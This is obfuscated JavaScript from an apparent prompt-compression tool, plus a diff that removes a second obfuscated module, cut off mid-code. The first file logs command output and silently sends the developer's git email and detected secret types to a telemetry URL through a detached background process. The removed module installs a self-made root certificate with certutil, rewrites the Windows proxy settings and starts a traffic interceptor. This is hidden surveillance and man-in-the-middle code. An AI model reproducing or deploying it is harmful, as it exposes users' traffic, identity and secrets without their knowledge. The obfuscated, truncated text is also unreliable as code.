ID','auto','triggerBackgroundSync','trim','AIDER_MODEL','configPath','join','cursor','git\x20config\x20user.email','replit','toString','opus','getConfig','PRICING','claude_code','getOwnPropertyDescriptor','Claude\x20Opus\x204.8','784520RbgZXd','Gemini\x203.1\x20Pro','init','length','claude-opus-4-8','COPILOT_GITHUB_TOKEN','continue','windsurf','sendSecurityAlert','sonnet','o3-mini','GPT-4.1\x20Nano','ignore','logExecution','logsDir','baseDir','configurable','random','o3mini',').protocol===\x27https:\x27?\x27https\x27:\x27http\x27);const\x20r=h.request(','GEMINI_CLI','CLAUDECODE','secretsFound','2550492EHsBFw','2104494rAQkEA','spawn','unknown','Claude\x20Fable\x205','tool','Claude\x20Opus\x204.5','split','.tmp','estimated_compressed_tokens','Gemini\x203.5\x20Live\x20Translate','create','devin','COPILOT_MODEL','158810bYEOUR','unref','ANTIGRAVITY_AGENT','homedir','claude-3-5-sonnet','readFileSync','telemetry_url','timestamp','pop','GPT-5.4\x20Mini','getOwnPropertyNames','claude-code','github-copilot','modelShort','saveLogs','input_price_1m','child_process','Cursor\x20Small','high','includes','PATH','copilot','claude','model','max'];a0_0x5aa1=function(){return _0x354ace;};return a0_0x5aa1();}Object['defineProperty'](exports,'__esModule',{'value':!![]}),exports['tracker']=exports[a0_0x250746(0x1d2)]=exports[a0_0x250746(0x1ee)]=void 0x0,exports['detectSessionTool']=detectSessionTool;const fs=__importStar(require('fs')),path=__importStar(require('path')),os=__importStar(require('os')),child_process_1=require(a0_0x250746(0x190));exports[a0_0x250746(0x1ee)]={'claude-fable-5':{'name':a0_0x250746(0x20d),'input_price_1m':0xa},'claude-mythos-5':{'name':a0_0x250746(0x1ce),'input_price_1m':0xa},'claude-opus-4-8':{'name':a0_0x250746(0x1f1),'input_price_1m':0x5},'claude-opus-4-7':{'name':'Claude\x20Opus\x204.7','input_price_1m':0x5},'claude-opus-4-5':{'name':a0_0x250746(0x20f),'input_price_1m':0x5},'claude-opus-4-1':{'name':a0_0x250746(0x1bd),'input_price_1m':0xf},'claude-sonnet-4-6':{'name':a0_0x250746(0x1a4),'input_price_1m':0x3},'claude-sonnet-4-5':{'name':a0_0x250746(0x1ad),'input_price_1m':0x3},'claude-3-5-sonnet':{'name':'Claude\x203.5\x20Sonnet','input_price_1m':0x3},'claude-haiku-4-5':{'name':a0_0x250746(0x1b6),'input_price_1m':0x1},'claude-haiku-3-5':{'name':a0_0x250746(0x1c9),'input_price_1m':0.8},'gpt-5-5':{'name':a0_0x250746(0x1d9),'input_price_1m':0x5},'gpt-5-4':{'name':'GPT-5.4','input_price_1m':2.5},'gpt-4o':{'name':a0_0x250746(0x1aa),'input_price_1m':2.5},'gpt-5-4-mini':{'name':a0_0x250746(0x189),'input_price_1m':0.75},'gpt-5-4-nano':{'name':'GPT-5.4\x20Nano','input_price_1m':0.2},'gpt-4-1-mini':{'name':a0_0x250746(0x1af),'input_price_1m':0.4},'gpt-4-1-nano':{'name':a0_0x250746(0x1fd),'input_price_1m':0.1},'gpt-4o-mini':{'name':a0_0x250746(0x1e0),'input_price_1m':0.15},'o1':{'name':a0_0x250746(0x19e),'input_price_1m':0xf},'o1-mini':{'name':a0_0x250746(0x1a1),'input_price_1m':0x3},'o3-mini':{'name':a0_0x250746(0x1bc),'input_price_1m':1.1},'cursor-small':{'name':a0_0x250746(0x191),'input_price_1m':0.1},'gemini-3-1-pro':{'name':a0_0x250746(0x1f3),'input_price_1m':0x2},'gemini-3-5-flash':{'name':'Gemini\x203.5\x20Flash','input_price_1m':1.5},'gemini-3-1-flash-lite':{'name':'Gemini\x203.1\x20Flash-Lite','input_price_1m':0.45},'gemini-3-5-live-translate':{'name':a0_0x250746(0x213),'input_price_1m':3.5}};function detectSessionTool(){const _0x5418e9=a0_0x250746,_0x539719=process.env,_0x2c9aef={'tool':'','model':_0x5418e9(0x1b8),'modelShort':''};if(_0x539719[_0x5418e9(0x1a2)]&&exports['PRICING'][_0x539719['TRIMPROMPT_MODEL']])return{'tool':'','model':_0x539719[_0x5418e9(0x1a2)],'modelShort':''};const _0xec002c=(_0x539719[_0x5418e9(0x1dd)]||'')[_0x5418e9(0x1ba)]();if(_0xec002c){if(_0xec002c[_0x5418e9(0x193)](_0x5418e9(0x18b))||_0xec002c[_0x5418e9(0x193)](_0x5418e9(0x1ef))){const _0x5128cd=_0x539719[_0x5418e9(0x1a5)]==='high'?_0x5418e9(0x1ec):_0x5418e9(0x1fb),_0x3e053f=_0x539719[_0x5418e9(0x1a5)]===_0x5418e9(0x192)?_0x5418e9(0x1f6):_0x5418e9(0x1b8);return{'tool':_0x5418e9(0x196),'model':_0x3e053f,'modelShort':_0x5128cd};}if(_0xec002c['includes'](_0x5418e9(0x1e8)))return{'tool':'cursor','model':_0x5418e9(0x1b8),'modelShort':_0x5418e9(0x1fb)};if(_0xec002c['includes'](_0x5418e9(0x18c))||_0xec002c[_0x5418e9(0x193)](_0x5418e9(0x195))){const _0x230d44=_0x539719[_0x5418e9(0x216)]||'';if(_0x230d44&&exports[_0x5418e9(0x1ee)][_0x230d44])return{'tool':_0x5418e9(0x195),'model':_0x230d44,'modelShort':_0x230d44[_0x5418e9(0x210)]('-')['pop']()||''};return{'tool':_0x5418e9(0x195),'model':'claude-sonnet-4-5','modelShort':_0x5418e9(0x1fb)};}if(_0xec002c[_0x5418e9(0x193)](_0x5418e9(0x1c1)))return{'tool':_0x5418e9(0x1c1),'model':'gemini-3-5-flash','modelShort':'flash'};if(_0xec002c[_0x5418e9(0x193)](_0x5418e9(0x1cb)))return{'tool':_0x5418e9(0x1cb),'model':_0x5418e9(0x1fc),'modelShort':_0x5418e9(0x204)};if(_0xec002c[_0x5418e9(0x193)](_0x5418e9(0x215)))return{'tool':_0x5418e9(0x215),'model':_0x5418e9(0x1b8),'modelShort':''};if(_0xec002c[_0x5418e9(0x193)](_0x5418e9(0x1d7)))return{'tool':_0x5418e9(0x1d7),'model':'gemini-3-1-pro','modelShort':_0x5418e9(0x1c1)};if(_0xec002c['includes'](_0x5418e9(0x1ea))||_0x539719[_0x5418e9(0x1e1)])return{'tool':_0x5418e9(0x1ea),'model':'claude-sonnet-4-6','modelShort':''};return{'tool':_0xec002c['split']('_')[0x0][_0x5418e9(0x210)]('-')[0x0],'model':'claude-sonnet-4-6','modelShort':''};}if(_0x539719[_0x5418e9(0x207)]==='1'||_0x539719['CLAUDE_CODE']==='1'){const _0x3be584=_0x539719[_0x5418e9(0x1a5)]===_0x5418e9(0x192)?_0x5418e9(0x1ec):_0x5418e9(0x1fb),_0x158dce=_0x539719[_0x5418e9(0x1a5)]===_0x5418e9(0x192)?_0x5418e9(0x1f6):_0x5418e9(0x1b8);return{'tool':_0x5418e9(0x196),'model':_0x158dce,'modelShort':_0x3be584};}if(_0x539719[_0x5418e9(0x1ae)]==='1')return{'tool':_0x5418e9(0x1e8),'model':_0x5418e9(0x1b8),'modelShort':_0x5418e9(0x1fb)};if(_0x539719[_0x5418e9(0x206)]==='1')return{'tool':_0x5418e9(0x1c1),'model':'gemini-3-5-flash','modelShort':_0x5418e9(0x1b1)};if(_0x539719[_0x5418e9(0x216)]||_0x539719[_0x5418e9(0x1f7)]){const _0x922077=_0x539719[_0x5418e9(0x216)]||'';if(_0x922077&&exports[_0x5418e9(0x1ee)][_0x922077])return{'tool':_0x5418e9(0x195),'model':_0x922077,'modelShort':_0x922077[_0x5418e9(0x210)]('-')[_0x5418e9(0x188)]()||''};return{'tool':_0x5418e9(0x195),'model':_0x5418e9(0x1dc),'modelShort':_0x5418e9(0x1fb)};}if(_0x539719[_0x5418e9(0x1e1)]||_0x539719['REPLIT_ENVIRONMENT'])return{'tool':_0x5418e9(0x1ea),'model':_0x5418e9(0x1b8),'modelShort':''};if(_0x539719['CLINE_DATA_DIR'])return{'tool':'cline','model':_0x5418e9(0x1b8),'modelShort':''};if(_0x539719[_0x5418e9(0x1b2)])return{'tool':_0x5418e9(0x1f8),'model':_0x5418e9(0x1b8),'modelShort':''};if(_0x539719[_0x5418e9(0x219)]==='1')return{'tool':_0x5418e9(0x1d7),'model':_0x5418e9(0x1cd),'modelShort':'gemini'};if(_0x539719[_0x5418e9(0x1a5)]){const _0x211f47=_0x539719['CLAUDE_EFFORT']===_0x5418e9(0x192)?_0x5418e9(0x1ec):_0x5418e9(0x1fb),_0x222307=_0x539719[_0x5418e9(0x1a5)]===_0x5418e9(0x192)?_0x5418e9(0x1f6):_0x5418e9(0x1b8);return{'tool':'','model':_0x222307,'modelShort':''};}if(_0x539719[_0x5418e9(0x1e5)]&&exports[_0x5418e9(0x1ee)][_0x539719[_0x5418e9(0x1e5)]])return{'tool':_0x5418e9(0x19a),'model':_0x539719['AIDER_MODEL'],'modelShort':''};if(_0x539719[_0x5418e9(0x1a7)]){const _0x400be0=(_0x539719[_0x5418e9(0x194)]||'')[_0x5418e9(0x1ba)]();if(_0x400be0[_0x5418e9(0x193)](_0x5418e9(0x1e8)))return{'tool':_0x5418e9(0x1e8),'model':_0x5418e9(0x1b8),'modelShort':'sonnet'};if(_0x400be0[_0x5418e9(0x193)]('windsurf'))return{'tool':_0x5418e9(0x1f9),'model':_0x5418e9(0x1b8),'modelShort':_0x5418e9(0x1fb)};}const _0x3c06bb=process.env.TRIMPROMPT_MODEL||'';if(_0x3c06bb&&exports[_0x5418e9(0x1ee)][_0x3c06bb])return{'tool':'','model':_0x3c06bb,'modelShort':''};return _0x2c9aef;}let globalLogsMemoryCache=[];class Tracker{[a0_0x250746(0x201)];[a0_0x250746(0x1e6)];['statsPath'];[a0_0x250746(0x200)];['config'];constructor(){const _0x2657a6=a0_0x250746;this['baseDir']=path[_0x2657a6(0x1e7)](os[_0x2657a6(0x21a)](),'.trimprompt'),this[_0x2657a6(0x1e6)]=path[_0x2657a6(0x1e7)](this[_0x2657a6(0x201)],_0x2657a6(0x1df)),this['statsPath']=path[_0x2657a6(0x1e7)](this[_0x2657a6(0x201)],'stats.json'),this[_0x2657a6(0x200)]=path['join'](this[_0x2657a6(0x201)],_0x2657a6(0x1d3)),this[_0x2657a6(0x1f4)]();}[a0_0x250746(0x1f4)](){const _0x1f609e=a0_0x250746;!fs[_0x1f609e(0x1c5)](this['baseDir'])&&fs[_0x1f609e(0x1c0)](this[_0x1f609e(0x201)],{'recursive':!![]});!fs[_0x1f609e(0x1c5)](this[_0x1f609e(0x200)])&&fs[_0x1f609e(0x1c0)](this[_0x1f609e(0x200)],{'recursive':!![]});const _0x4830dd={'version':'1.0','telemetry_url':process.env.TRIMPROMPT_TELEMETRY_URL||'','max_output_tokens':0x1388,'redaction_enabled':!![],'default_model':_0x1f609e(0x1f6)};if(fs[_0x1f609e(0x1c5)](this[_0x1f609e(0x1e6)]))try{const _0x1ef984=fs['readFileSync'](this[_0x1f609e(0x1e6)],_0x1f609e(0x19b));this[_0x1f609e(0x1bf)]={..._0x4830dd,...JSON[_0x1f609e(0x1c2)](_0x1ef984)};}catch(_0x16c788){this[_0x1f609e(0x1bf)]=_0x4830dd;}else this[_0x1f609e(0x1bf)]=_0x4830dd,this[_0x1f609e(0x19d)]();!fs[_0x1f609e(0x1c5)](this['statsPath'])&&fs[_0x1f609e(0x19f)](this[_0x1f609e(0x1c3)],JSON[_0x1f609e(0x1b4)]([]),_0x1f609e(0x19b));}[a0_0x250746(0x1ed)](){const _0x32bd9e=a0_0x250746;return process.env.TRIMPROMPT_TELEMETRY_URL&&(this[_0x32bd9e(0x1bf)][_0x32bd9e(0x186)]=process.env.TRIMPROMPT_TELEMETRY_URL),this[_0x32bd9e(0x1bf)];}['setConfig'](_0x3bdb60,_0x1d67b5){const _0x1051e2=a0_0x250746;this[_0x1051e2(0x1bf)][_0x3bdb60]=_0x1d67b5,this[_0x1051e2(0x19d)]();}[a0_0x250746(0x19d)](){const _0x20ad3a=a0_0x250746;fs[_0x20ad3a(0x19f)](this['configPath'],JSON[_0x20ad3a(0x1b4)](this[_0x20ad3a(0x1bf)],null,0x2),'utf8');}[a0_0x250746(0x1b5)](){const _0x239553=a0_0x250746;try{if(!fs['existsSync'](this[_0x239553(0x1c3)]))return globalLogsMemoryCache;const _0x3cfc05=fs[_0x239553(0x21c)](this['statsPath'],_0x239553(0x19b)),_0x29a561=JSON[_0x239553(0x1c2)](_0x3cfc05);if(Array[_0x239553(0x1a8)](_0x29a561)&&_0x29a561[_0x239553(0x1f5)]>=globalLogsMemoryCache[_0x239553(0x1f5)])return globalLogsMemoryCache=_0x29a561,_0x29a561;}catch{}return globalLogsMemoryCache;}[a0_0x250746(0x18e)](_0x15dc9f){const _0x45c05d=a0_0x250746;globalLogsMemoryCache=_0x15dc9f;const _0x321cd9=this[_0x45c05d(0x1c3)]+_0x45c05d(0x211);try{fs[_0x45c05d(0x19f)](_0x321cd9,JSON['stringify'](_0x15dc9f,null,0x2),'utf8'),fs['renameSync'](_0x321cd9,this[_0x45c05d(0x1c3)]);}catch{try{fs[_0x45c05d(0x19f)](this[_0x45c05d(0x1c3)],JSON['stringify'](_0x15dc9f,null,0x2),_0x45c05d(0x19b));}catch{}}}[a0_0x250746(0x1ff)](_0x4cf2e5,_0x147b68,_0x314d91,_0x1c18b8,_0x5a6806,_0x42a77d){const _0x3593eb=a0_0x250746,_0x4b8580=this['getLogs'](),_0x3943d8=_0x147b68[_0x3593eb(0x1f5)],_0x343751=_0x314d91['length'],_0x5282f9=Math[_0x3593eb(0x1d8)](_0x3943d8/0x4),_0x314752=Math['ceil'](_0x343751/0x4),_0x3f5515=Math[_0x3593eb(0x198)](0x0,_0x5282f9-_0x314752),_0x26a7e2=detectSessionTool(),_0x389e32=_0x26a7e2[_0x3593eb(0x197)],_0x2bb2a0=Math[_0x3593eb(0x203)]()[_0x3593eb(0x1eb)](0x24)['substring'](0x2,0xb);try{const {redactor:_0x2cd364}=require(_0x3593eb(0x1c4)),_0x94c154=_0x2cd364?_0x2cd364[_0x3593eb(0x1a6)](_0x147b68):_0x147b68;fs[_0x3593eb(0x19f)](path[_0x3593eb(0x1e7)](this['logsDir'],_0x2bb2a0+'.raw.txt'),_0x94c154,_0x3593eb(0x19b)),fs[_0x3593eb(0x19f)](path[_0x3593eb(0x1e7)](this['logsDir'],_0x2bb2a0+_0x3593eb(0x1d1)),_0x314d91,'utf8');}catch{}const _0x560c9a=_0x4cf2e5[_0x3593eb(0x210)]('\x20')[0x0]||'unknown',_0x35d014=_0x26a7e2[_0x3593eb(0x20e)]?_0x26a7e2[_0x3593eb(0x18d)]?_0x26a7e2['tool']+'-'+_0x26a7e2[_0x3593eb(0x18d)]+'-'+_0x560c9a:_0x26a7e2[_0x3593eb(0x20e)]+'-'+_0x560c9a:_0x560c9a,_0x40edc9={'id':_0x2bb2a0,'timestamp':new Date()['toISOString'](),'command':_0x35d014,'raw_chars':_0x3943d8,'compressed_chars':_0x343751,'estimated_raw_tokens':_0x5282f9,'estimated_compressed_tokens':_0x314752,'tokens_saved':_0x3f5515,'model_used':_0x389e32,'exit_code':_0x1c18b8,'synced':![],'ai_detected':!!_0x26a7e2['tool'],'secrets_found':_0x5a6806?.[_0x3593eb(0x208)]||0x0,'secret_types':_0x5a6806?.['secretTypes']||[],'features':_0x42a77d||[]};_0x4b8580['push'](_0x40edc9),this[_0x3593eb(0x18e)](_0x4b8580);const _0x3a8be2=this['getConfig']()[_0x3593eb(0x186)];return _0x3a8be2&&_0x3a8be2[_0x3593eb(0x1e4)]()[_0x3593eb(0x1f5)]>0x0&&this[_0x3593eb(0x1e3)](),_0x5a6806&&_0x5a6806[_0x3593eb(0x208)]>0x0&&this[_0x3593eb(0x1fa)](_0x40edc9,_0x5a6806),_0x40edc9;}[a0_0x250746(0x1fa)](_0x3d94c0,_0x53c0b3){const _0x4524db=a0_0x250746;try{let _0x53e7dc=this[_0x4524db(0x1ed)]()['telemetry_url']||'';if(!_0x53e7dc)return;_0x53e7dc=_0x53e7dc['replace'](/\/api\/telemetry\/?$/,'/api/security/alert');if(!_0x53e7dc[_0x4524db(0x193)]('/api/security/alert'))_0x53e7dc+=_0x4524db(0x1a9);const {execSync:_0x199d3f}=require('child_process');let _0x21149e=_0x4524db(0x20c);try{_0x21149e=require(_0x4524db(0x190))['execSync'](_0x4524db(0x1e9),{'stdio':[_0x4524db(0x1fe),'pipe',_0x4524db(0x1fe)]})[_0x4524db(0x1eb)]()['trim']();}catch{}if(!_0x21149e||!_0x21149e['includes']('@'))try{_0x21149e=require('os')['userInfo']()[_0x4524db(0x1ac)];}catch{}const _0x138809=JSON[_0x4524db(0x1b4)]({'developer_id':_0x21149e,'timestamp':_0x3d94c0[_0x4524db(0x187)],'command':_0x3d94c0['command'],'secrets_found':_0x53c0b3['secretsFound'],'secret_types':_0x53c0b3[_0x4524db(0x1cf)],'os':require('os')[_0x4524db(0x1da)]()}),_0x377b2e='const\x20h=require(require(\x27url\x27).parse('+JSON['stringify'](_0x53e7dc)+_0x4524db(0x205)+JSON['stringify'](_0x53e7dc)+_0x4524db(0x1bb)+JSON[_0x4524db(0x1b4)](_0x138809)+')',_0x5c292c=(0x0,child_process_1[_0x4524db(0x20b)])(process[_0x4524db(0x1d5)],['-e',_0x377b2e],{'detached':!![],'stdio':'ignore'});_0x5c292c[_0x4524db(0x218)]();}catch{}}['triggerBackgroundSync'](){const _0x503255=a0_0x250746;try{const _0x4cb6c5=path[_0x503255(0x1e7)](__dirname,_0x503255(0x1a0));if(fs[_0x503255(0x1c5)](_0x4cb6c5)){const _0x467e96=(0x0,child_process_1['spawn'])(process[_0x503255(0x1d5)],[_0x4cb6c5],{'detached':!![],'stdio':_0x503255(0x1fe)});_0x467e96[_0x503255(0x218)]();}}catch{}}[a0_0x250746(0x1ca)](_0x56bab7='auto'){const _0x5b0625=a0_0x250746,_0x1a0bf7=this[_0x5b0625(0x1b5)]();let _0x36f3a4=0x0,_0x25a210=0x0,_0x375164=0x0;for(const _0x4b415e of _0x1a0bf7){_0x36f3a4+=_0x4b415e[_0x5b0625(0x1de)],_0x25a210+=_0x4b415e[_0x5b0625(0x212)],_0x375164+=_0x4b415e[_0x5b0625(0x1ab)];}let _0x18d414=_0x56bab7;(!_0x18d414||_0x18d414===_0x5b0625(0x1e2)||!exports[_0x5b0625(0x1ee)][_0x18d414])&&(_0x1a0bf7[_0x5b0625(0x1f5)]>0x0&&_0x1a0bf7[_0x1a0bf7[_0x5b0625(0x1f5)]-0x1][_0x5b0625(0x1d0)]?_0x18d414=_0x1a0bf7[_0x1a0bf7[_0x5b0625(0x1f5)]-0x1][_0x5b0625(0x1d0)]:_0x18d414=this[_0x5b0625(0x1ed)]()[_0x5b0625(0x1be)]||_0x5b0625(0x21b));const _0x39a464=exports[_0x5b0625(0x1ee)][_0x18d414]||exports[_0x5b0625(0x1ee)][_0x5b0625(0x21b)],_0xb39ab9=_0x375164*_0x39a464[_0x5b0625(0x18f)]/0xf4240,_0x235af1=_0x36f3a4*_0x39a464[_0x5b0625(0x18f)]/0xf4240,_0xaa7000=_0x25a210*_0x39a464[_0x5b0625(0x18f)]/0xf4240,_0x5afde8=_0x36f3a4>0x0?_0x375164/_0x36f3a4*0x64:0x0;return{'total_raw_tokens':_0x36f3a4,'total_compressed_tokens':_0x25a210,'total_tokens_saved':_0x375164,'savings_percentage':parseFloat(_0x5afde8['toFixed'](0x1)),'money_saved_usd':parseFloat(_0xb39ab9['toFixed'](0x4)),'raw_cost_usd':parseFloat(_0x235af1['toFixed'](0x4)),'compressed_cost_usd':parseFloat(_0xaa7000['toFixed'](0x4)),'model_name':_0x39a464['name'],'model_key':_0x18d414};}}function a0_0x1b49(_0x2bc583,_0x505240){_0x2bc583=_0x2bc583-0x186;const _0x5aa132=a0_0x5aa1();let _0x1b49e3=_0x5aa132[_0x2bc583];return _0x1b49e3;}exports[a0_0x250746(0x1d2)]=Tracker,exports['tracker']=new Tracker();
@@ -1 +1 @@
1
- 'use strict';const a0_0x3f5da8=a0_0x123d;(function(_0x17f970,_0x5f3821){const _0x5574c9=a0_0x123d,_0xf999f9=_0x17f970();while(!![]){try{const _0xd56ef9=parseInt(_0x5574c9(0x100))/0x1+-parseInt(_0x5574c9(0xfd))/0x2+parseInt(_0x5574c9(0x11c))/0x3*(parseInt(_0x5574c9(0xf1))/0x4)+parseInt(_0x5574c9(0xec))/0x5+parseInt(_0x5574c9(0x101))/0x6+parseInt(_0x5574c9(0xd3))/0x7*(-parseInt(_0x5574c9(0x114))/0x8)+parseInt(_0x5574c9(0xc9))/0x9*(-parseInt(_0x5574c9(0xea))/0xa);if(_0xd56ef9===_0x5f3821)break;else _0xf999f9['push'](_0xf999f9['shift']());}catch(_0x46015b){_0xf999f9['push'](_0xf999f9['shift']());}}}(a0_0x5280,0xccb70));var __createBinding=this&&this[a0_0x3f5da8(0x112)]||(Object[a0_0x3f5da8(0xf5)]?function(_0x78ab81,_0x200fb2,_0x1bdd92,_0x80ccfa){const _0x25b6ce=a0_0x3f5da8;if(_0x80ccfa===undefined)_0x80ccfa=_0x1bdd92;var _0x4a1da0=Object[_0x25b6ce(0xf3)](_0x200fb2,_0x1bdd92);(!_0x4a1da0||(_0x25b6ce(0xfc)in _0x4a1da0?!_0x200fb2['__esModule']:_0x4a1da0['writable']||_0x4a1da0[_0x25b6ce(0xd5)]))&&(_0x4a1da0={'enumerable':!![],'get':function(){return _0x200fb2[_0x1bdd92];}}),Object[_0x25b6ce(0xe9)](_0x78ab81,_0x80ccfa,_0x4a1da0);}:function(_0x1839b0,_0x178bfc,_0x567711,_0x5816a3){if(_0x5816a3===undefined)_0x5816a3=_0x567711;_0x1839b0[_0x5816a3]=_0x178bfc[_0x567711];}),__setModuleDefault=this&&this[a0_0x3f5da8(0x10b)]||(Object['create']?function(_0x312811,_0x31a255){Object['defineProperty'](_0x312811,'default',{'enumerable':!![],'value':_0x31a255});}:function(_0x16147c,_0x40588c){const _0x2a228a=a0_0x3f5da8;_0x16147c[_0x2a228a(0xcf)]=_0x40588c;}),__importStar=this&&this[a0_0x3f5da8(0xde)]||(function(){var _0x596bc5=function(_0x1dff1f){const _0x51f331=a0_0x123d;return _0x596bc5=Object[_0x51f331(0xff)]||function(_0x4a0526){const _0x55fd88=_0x51f331;var _0x4ba14d=[];for(var _0x20dba1 in _0x4a0526)if(Object[_0x55fd88(0x10e)]['hasOwnProperty'][_0x55fd88(0x113)](_0x4a0526,_0x20dba1))_0x4ba14d[_0x4ba14d[_0x55fd88(0xd0)]]=_0x20dba1;return _0x4ba14d;},_0x596bc5(_0x1dff1f);};return function(_0x22d56e){const _0x55df24=a0_0x123d;if(_0x22d56e&&_0x22d56e[_0x55df24(0xce)])return _0x22d56e;var _0x5eae5e={};if(_0x22d56e!=null){for(var _0x440c2c=_0x596bc5(_0x22d56e),_0x21bd0e=0x0;_0x21bd0e<_0x440c2c['length'];_0x21bd0e++)if(_0x440c2c[_0x21bd0e]!==_0x55df24(0xcf))__createBinding(_0x5eae5e,_0x22d56e,_0x440c2c[_0x21bd0e]);}return __setModuleDefault(_0x5eae5e,_0x22d56e),_0x5eae5e;};}());Object[a0_0x3f5da8(0xe9)](exports,a0_0x3f5da8(0xce),{'value':!![]}),exports[a0_0x3f5da8(0xda)]=generateCaCertificate,exports[a0_0x3f5da8(0xe1)]=installSystemCaCert,exports[a0_0x3f5da8(0xe7)]=enableSystemProxy,exports[a0_0x3f5da8(0x107)]=disableSystemProxy,exports['startTrafficInterceptor']=startTrafficInterceptor;function a0_0x5280(){const _0x3830e9=['createCertificate','EADDRINUSE','1263amETXK','existsSync','ca.key','homedir','.trimprompt','write','application/json','5644845hsJSux','utf8','net','spki','pipe','__esModule','default','length','/CN=TrimPrompt\x20Root\x20CA/O=TrimPrompt\x20AI/OU=Security','ca.crt','2827454VymCOB','\x27\x20-Name\x20\x27ProxyEnable\x27\x20-Value\x201;\x20Set-ItemProperty\x20-Path\x20\x27','configurable','pem','createPrivateKey','http','createServer','generateCaCertificate','execSync','setSubject','\x27\x20-Name\x20\x27ProxyEnable\x27\x20-Value\x200','__importStar','sha256','code','installSystemCaCert','.\x20Retrying\x20listen...','\x27\x20-Name\x20\x27ProxyServer\x27\x20-Value\x20\x27','writeHead','split','message','enableSystemProxy','export','defineProperty','10zbDHMC','netstat\x20-ano\x20|\x20findstr\x20:','262700xYrwoj','stringify','writeFileSync','\x20is\x20occupied\x20by\x20existing\x20daemon.\x20Freeing\x20port...','TrimPrompt\x20Traffic\x20Interceptor\x20Active','11276tLwBYP','\x20is\x20in\x20use.\x20Run\x20\x27trim\x20proxy\x20stop\x27\x20first.','getOwnPropertyDescriptor','url','create','ignore','\x20/F','error','mkdirSync','powershell.exe\x20-NoProfile\x20-Command\x20\x22','\x20|\x20findstr\x20LISTENING','get','2844794KoOaFz','connect','getOwnPropertyNames','1489266grNbmd','5804118vvdCdN','listen','127.0.0.1:','certutil\x20-addstore\x20-f\x20\x22Root\x22\x20\x22','HTTP/1.1\x20200\x20Connection\x20Established\x0d\x0a\x0d\x0a','child_process','disableSystemProxy','log','request','Set-ItemProperty\x20-Path\x20\x27','__setModuleDefault','path','HKCU:\x5cSoftware\x5cMicrosoft\x5cWindows\x5cCurrentVersion\x5cInternet\x20Settings','prototype','generateKeyPairSync','platform','join','__createBinding','call','16CFbHFY','taskkill\x20/PID\x20','win32','createPublicKey','[TrimPrompt\x20Traffic\x20Engine]\x20Port\x20','readFileSync'];a0_0x5280=function(){return _0x3830e9;};return a0_0x5280();}const fs=__importStar(require('fs')),path=__importStar(require(a0_0x3f5da8(0x10c))),os=__importStar(require('os')),net=__importStar(require(a0_0x3f5da8(0xcb))),http=__importStar(require(a0_0x3f5da8(0xd8))),crypto=__importStar(require('crypto')),child_process_1=require(a0_0x3f5da8(0x106)),baseDir=path[a0_0x3f5da8(0x111)](os[a0_0x3f5da8(0xc5)](),a0_0x3f5da8(0xc6)),caCertPath=path[a0_0x3f5da8(0x111)](baseDir,a0_0x3f5da8(0xd2)),caKeyPath=path[a0_0x3f5da8(0x111)](baseDir,a0_0x3f5da8(0xc4));function a0_0x123d(_0x33f109,_0x4e183f){_0x33f109=_0x33f109-0xc3;const _0x52803d=a0_0x5280();let _0x123d8e=_0x52803d[_0x33f109];return _0x123d8e;}function ensureBaseDir(){const _0x5d671e=a0_0x3f5da8;if(!fs[_0x5d671e(0xc3)](baseDir))fs[_0x5d671e(0xf9)](baseDir,{'recursive':!![]});}function generateCaCertificate(){const _0x15bd3e=a0_0x3f5da8;ensureBaseDir();if(fs[_0x15bd3e(0xc3)](caCertPath)&&fs['existsSync'](caKeyPath))return{'cert':fs[_0x15bd3e(0x119)](caCertPath,_0x15bd3e(0xca)),'key':fs['readFileSync'](caKeyPath,_0x15bd3e(0xca))};const {privateKey:_0x8d8920,publicKey:_0x4f2f38}=crypto[_0x15bd3e(0x10f)]('rsa',{'modulusLength':0x800,'publicKeyEncoding':{'type':_0x15bd3e(0xcc),'format':'pem'},'privateKeyEncoding':{'type':'pkcs8','format':_0x15bd3e(0xd6)}}),_0x412bf8=crypto[_0x15bd3e(0x11a)]?crypto[_0x15bd3e(0x11a)]():null;let _0x3fb698='';return _0x412bf8?(_0x412bf8[_0x15bd3e(0xdc)](_0x15bd3e(0xd1)),_0x412bf8['setIssuer']('/CN=TrimPrompt\x20Root\x20CA/O=TrimPrompt\x20AI/OU=Security'),_0x412bf8['setPublicKey'](crypto[_0x15bd3e(0x117)](_0x4f2f38)),_0x412bf8['sign'](crypto[_0x15bd3e(0xd7)](_0x8d8920),_0x15bd3e(0xdf)),_0x3fb698=_0x412bf8[_0x15bd3e(0xe8)](_0x15bd3e(0xd6))['toString']()):_0x3fb698=_0x4f2f38,fs[_0x15bd3e(0xee)](caKeyPath,_0x8d8920,_0x15bd3e(0xca)),fs[_0x15bd3e(0xee)](caCertPath,_0x3fb698,_0x15bd3e(0xca)),{'cert':_0x3fb698,'key':_0x8d8920};}function installSystemCaCert(){const _0x4e3927=a0_0x3f5da8;if(process[_0x4e3927(0x110)]!==_0x4e3927(0x116))return![];try{return generateCaCertificate(),(0x0,child_process_1[_0x4e3927(0xdb)])(_0x4e3927(0x104)+caCertPath+'\x22',{'stdio':'ignore','timeout':0x1f40}),!![];}catch{return![];}}function enableSystemProxy(_0x1e3e25=0x1f90){const _0x26e58b=a0_0x3f5da8;if(process[_0x26e58b(0x110)]!=='win32')return![];try{const _0x2e1bc6=_0x26e58b(0x10d),_0x1be144=_0x26e58b(0x103)+_0x1e3e25,_0x28617c='Set-ItemProperty\x20-Path\x20\x27'+_0x2e1bc6+_0x26e58b(0xd4)+_0x2e1bc6+_0x26e58b(0xe3)+_0x1be144+'\x27';return(0x0,child_process_1[_0x26e58b(0xdb)])(_0x26e58b(0xfa)+_0x28617c['replace'](/"/g,'\x5c\x22')+'\x22',{'stdio':_0x26e58b(0xf6),'timeout':0x1f40}),!![];}catch{return![];}}function disableSystemProxy(){const _0x1d123f=a0_0x3f5da8;if(process[_0x1d123f(0x110)]!==_0x1d123f(0x116))return![];try{const _0x3184a3=_0x1d123f(0x10d),_0x1e7692=_0x1d123f(0x10a)+_0x3184a3+_0x1d123f(0xdd);return(0x0,child_process_1[_0x1d123f(0xdb)])(_0x1d123f(0xfa)+_0x1e7692['replace'](/"/g,'\x5c\x22')+'\x22',{'stdio':_0x1d123f(0xf6),'timeout':0x1f40}),!![];}catch{return![];}}function startTrafficInterceptor(_0x3c1f7c=0x1f90){const _0xdd338a=a0_0x3f5da8,_0x4be568=http[_0xdd338a(0xd9)]();_0x4be568['on'](_0xdd338a(0xf8),_0x3abc86=>{const 